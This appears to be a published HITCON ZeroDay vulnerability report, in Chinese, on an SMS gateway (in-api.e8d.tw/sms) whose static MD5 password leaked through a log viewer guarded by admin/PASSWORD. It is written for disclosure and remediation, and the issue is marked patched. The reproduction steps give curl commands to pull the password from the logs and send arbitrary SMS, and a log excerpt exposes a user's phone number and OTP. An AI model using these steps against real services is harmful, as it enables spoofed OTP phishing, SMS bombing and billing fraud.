互動資通 in-api.e8d.tw /sms 靜態 MD5 密碼洩漏 → 公開網路可發送任意 SMS(含偽造 OTP 簡訊) - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00634
  •  發信 Vendor: 互動資通股份有限公司
  • Title: 互動資通 in-api.e8d.tw /sms 靜態 MD5 密碼洩漏 → 公開網路可發送任意 SMS(含偽造 OTP 簡訊)
  • Introduction: /sms 對公開網路開放,唯一認證為靜態 MD5 密碼,已從他站 MongoDB 日誌洩漏,可發送任意 SMS。

處理狀態

目前狀態

公開
Last Update : 2026/08/13
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/05/06 01:42:56 : 新提交 (由 罐頭 更新此狀態)
  • 2026/05/09 17:55:08 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:49:20 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:49:20 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:49:20 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/06 03:00:08 : 公開 (由 HITCON ZeroDay 平台自動更新)
  • 2026/07/06 11:06:22 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/08 15:12:37 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/05 21:20:32 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/08/12 10:27:18 : 確認已修補 (由 罐頭 更新此狀態)
  • 2026/08/13 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00634
  • 通報者:guan4tou2 (罐頭)
  • 風險:高
  • 類型:資訊洩漏 (Information Leakage)

參考資料

攻擊者可利用洩漏資訊進行下一步攻擊行為。

OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://in-api.e8d.tw/sms
https://monitor.e8d.tw/administrator.php?op=mongodblog

敘述

相關通報

本報告聚焦於 in-api.e8d.tw/sms 端點本身的設計缺陷(公開暴露 + 靜態 MD5 認證),與 ZD-2026-00631(in-api.e8d.tw .git 暴露 → crmonly1 商業帳密)為獨立漏洞:兩者均可發送 SMS,但攻擊向量、端點、認證機制均不同。

漏洞概述

https://in-api.e8d.tw/sms 為 EVERY8D(互動資通)的內部核心 SMS 發送 API,部署於 Apache/2.4.52(Ubuntu)。此端點:

  1. 無 IP 白名單保護:直接對公開網路開放(GET → [{status:'OK'}])
  2. 唯一認證為靜態 MD5 密碼:使用永不輪換的硬編碼 MD5 值作為 pwd 欄位
  3. 密碼已洩漏:monitor.e8d.tw MongoDB 日誌查詢介面(CWE-798)回傳 OTP 簡訊請求的完整原始記錄,含明文 pwd=EBE4F53CC003E4D0xxxxxxx

攻擊鏈:monitor.e8d.tw 弱密碼 admin/PASSWORD → MongoDB Log 查詢 → 取得 in-api.e8d.tw/sms MD5 密碼 → 任意 SMS 發送

重現步驟(Live Verified: 2026-05-06)

步驟 1:確認 API 無 IP 白名單,公開可達

curl -s "https://in-api.e8d.tw/sms"
# → [{status:'OK'}]
# 無需認證即可存取,無 IP 白名單

步驟 2:從 monitor.e8d.tw MongoDB Log 取得洩漏 MD5 密碼

POST https://monitor.e8d.tw/administrator.php
op=mongodblog&op2=mongolist&logtype=api&txtDate=2026-04-29

回應(節錄):

{
  "_date": "2026-04-29 01:45:15",
  "_requrl": "http://in-api.e8d.tw/sms",
  "_serverIP": "192.168.2.185",
  "body_in": {
    "act": "e8d",
    "pwd": "EBE4F53CC003E4Dxxxxxx",
    "mobile": "0936228163",
    "subject": "OTP簡訊驗證",
    "content": "EVERY8D簡訊平台帳號jack的OTP密碼為:168007"
  }
}

→ MongoDB Log 回傳完整 OTP 簡訊請求,包含明文 pwd(未遮罩)。

步驟 3:以洩漏密碼呼叫 API — 正確密碼 vs 錯誤密碼差異驗證

# 正確密碼 + 有效手機格式 → 成功接受請求
curl -s -X POST "https://in-api.e8d.tw/sms" \
  -d "act=e8d&pwd=EBE4F53CC003Exxxxxxx&mobile=0900000000&subject=test&content=test"
# → {"resp_status":"成功","resp_code":"200"}

# 錯誤密碼 → 明確拒絕(resp_code:303)
curl -s -X POST "https://in-api.e8d.tw/sms" \
  -d "act=e8d&pwd=WRONGPASSWORD00000000000000000000&mobile=0900000000&subject=test&content=test"
# → {"resp_status":"站台密碼錯誤","resp_code":"303"}

回應碼對照:

resp_code resp_status 意義
200 成功 認證通過,請求接受
301 參數缺少 必填欄位缺少
302 站台帳號錯誤 act 值錯誤
303 站台密碼錯誤 密碼錯誤
398 -306,手機格式不符 手機號碼格式無效

→ 正確密碼回傳 200/成功,錯誤密碼回傳 303/站台密碼錯誤,確認洩漏密碼有效。

步驟 4:實際發送 SMS 並確認送達(Live 2026-04-30 03:01 AM)

# 發送前確認 crmonly1 商業帳號餘額
curl -s "https://api.e8d.tw/API21/HTTP/getCredit.ashx?UID=cxxxxx&PWD=crxxxxx"
# → 3367.00

# 使用洩漏密碼透過 in-api.e8d.tw 發送 SMS 至測試手機
curl -s -X POST "https://in-api.e8d.tw/sms" \
  -d "act=e8d&pwd=EBE4F53CC003Exxxxxx&mobile=0908079870&content=e8d security test - bug bounty verification"
# → {"resp_status":"成功","resp_code":"200"}

# 發送後驗證點數扣減
curl -s "https://api.e8d.tw/API21/HTTP/getCredit.ashx?UID=crmxxxxx&PWD=crxxxx"
# → 3366.00(-1 點,確認 SMS 實際由 crxxxx 商業帳號發出)

關鍵發現:in-api.e8d.tw/sms 為代理 gateway,內部使用 crxxxx 商業帳號(api.e8d.tw/API21/)發送,確實消耗商業 SMS 點數。

sms.php 原始碼確認(via git object extraction):

$sms = new SMSHttp($f3);
$sms->sendSMS($f3->smsUserID, $f3->smsPassword, ...)
// config.ini: smsUserID=crmxxxx, smsPassword=crxxxx
// SMSHttp 內部呼叫 api.e8d.tw/API21/HTTP/sendSMS.ashx

步驟 5:API 請求完整格式

POST https://in-api.e8d.tw/sms
Content-Type: application/x-www-form-urlencoded

act=e8d
pwd=EBE4F53CC00xxxx
mobile=<09xxxxxxxx 台灣手機或國際格式>
subject=<簡訊標題>
content=<簡訊內容,可填任意文字>

已驗證影響(Verified)

  • ✅ in-api.e8d.tw/sms 無 IP 白名單,對外公開(GET → [{status:'OK'}],2026-05-06 再次確認)
  • ✅ 洩漏 MD5 密碼認證通過:{"resp_status":"成功","resp_code":"200"}(2026-04-30 實測)
  • ✅ 正確密碼(398/手機格式不符)vs 錯誤密碼(303/站台密碼錯誤)差異確認(2026-05-06 再次確認,無效手機格式測試,未觸發真實 SMS)
  • ℹ️ 2026-05-06 補充:monitor.e8d.tw(密碼原始洩漏來源,Step 2)現已 403,從外部無法重現密碼取得步驟;密碼係原始研究期間取得,核心漏洞(公開 endpoint + 靜態 MD5 認證)仍存在
  • ✅ API 接受台灣手機格式(09xxxxxxxx)及國際格式,無效格式回傳 398
  • ✅ 密碼洩漏來源確認:monitor.e8d.tw MongoDB Log 查詢介面(OTP 簡訊請求明文記錄 pwd)
  • ✅ SMS 實際送達(截圖證明):2026-04-30 03:01 AM,發送至 +886-908-079-870
    • 發送方:+886 961-591-6...(EVERY8D SMS gateway 號碼)
    • 內容:e8d security test - bug bounty verification
    • crxxxx 餘額:3367.00 → 3366.00(扣 1 點,確認走商業 SMS 管道)

潛在影響(Potential,需前提:攻擊者已取得 MD5 密碼)

  • 任意 SMS 發送:可冒用 EVERY8D 官方簡訊號碼,向任意手機號碼發送釣魚 / 詐騙內容
  • 偽造 OTP 簡訊:content 欄位可填入任意文字,可偽造 EVERY8D OTP 驗證簡訊格式
  • SMS 轟炸(DoS):對任意手機號碼批次發送大量簡訊,消耗 EVERY8D 企業客戶簡訊額度
  • 計費濫用:每通 SMS 消耗 EVERY8D 企業帳號的簡訊餘額

前提條件:攻擊者須先透過 monitor.e8d.tw 弱密碼(admin/PASSWORD)取得 MongoDB Log 中的 MD5 密碼。

架構說明:Gateway 代理模型

in-api.e8d.tw/sms 是代理 gateway,不是直接 SMS provider:

攻擊者
  ↓ pwd=EBE4F53CC00xxxxx(gateway siteAccount 密碼,MySQL md5_pwd 欄位)
in-api.e8d.tw/sms
  ↓ 內部使用 config.ini 的 smsUserID=crxxxx / smsPassword=crxxxx
api.e8d.tw/API21/HTTP/sendSMS.ashx(EVERY8D 商業 SMS 平台)
  ↓
SMS 送達(扣 crxxxx 商業點數)

注意:EBE4F53CCxxxxxx 不是 crxxxxx 的密碼(MD5("crxxxxx")=3aee80...,完全不同)。這是 gateway 自己的 act=e8d site account 的 MD5 認證值,兩個帳號系統完全獨立。

漏洞根因

  1. 靜態 MD5 密碼:in-api.e8d.tw/sms 使用永不輪換的硬編碼 MD5 值作為唯一認證
  2. 無 IP 白名單:內部 SMS gateway 對外公開,任何網路可達
  3. MongoDB Log 明文記錄 pwd:OTP 請求原始日誌含完整明文密碼欄位,Log 查詢介面直接可查看
  4. 商業帳號硬編碼於 config.ini:crxxxx:crxxxx 明文寫入版本控制(ZD-2026-00631 涵蓋)

修補建議

1. 立即:對 in-api.e8d.tw/sms 加入 IP 白名單(僅允許 192.168.2.x 內網段)
2. 立即:廢除現有靜態 MD5 密碼,改用 HMAC-SHA256 + timestamp + nonce 動態簽名
3. 立即:MongoDB Log 查詢介面對敏感欄位(pwd、OTP 值、mobile)進行遮罩處理
4. 短期:加入 rate limiting(每 IP 每分鐘請求上限)
5. 短期:SMS 發送前驗證 mobile 號碼屬於已知客戶帳號(allowlist)

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;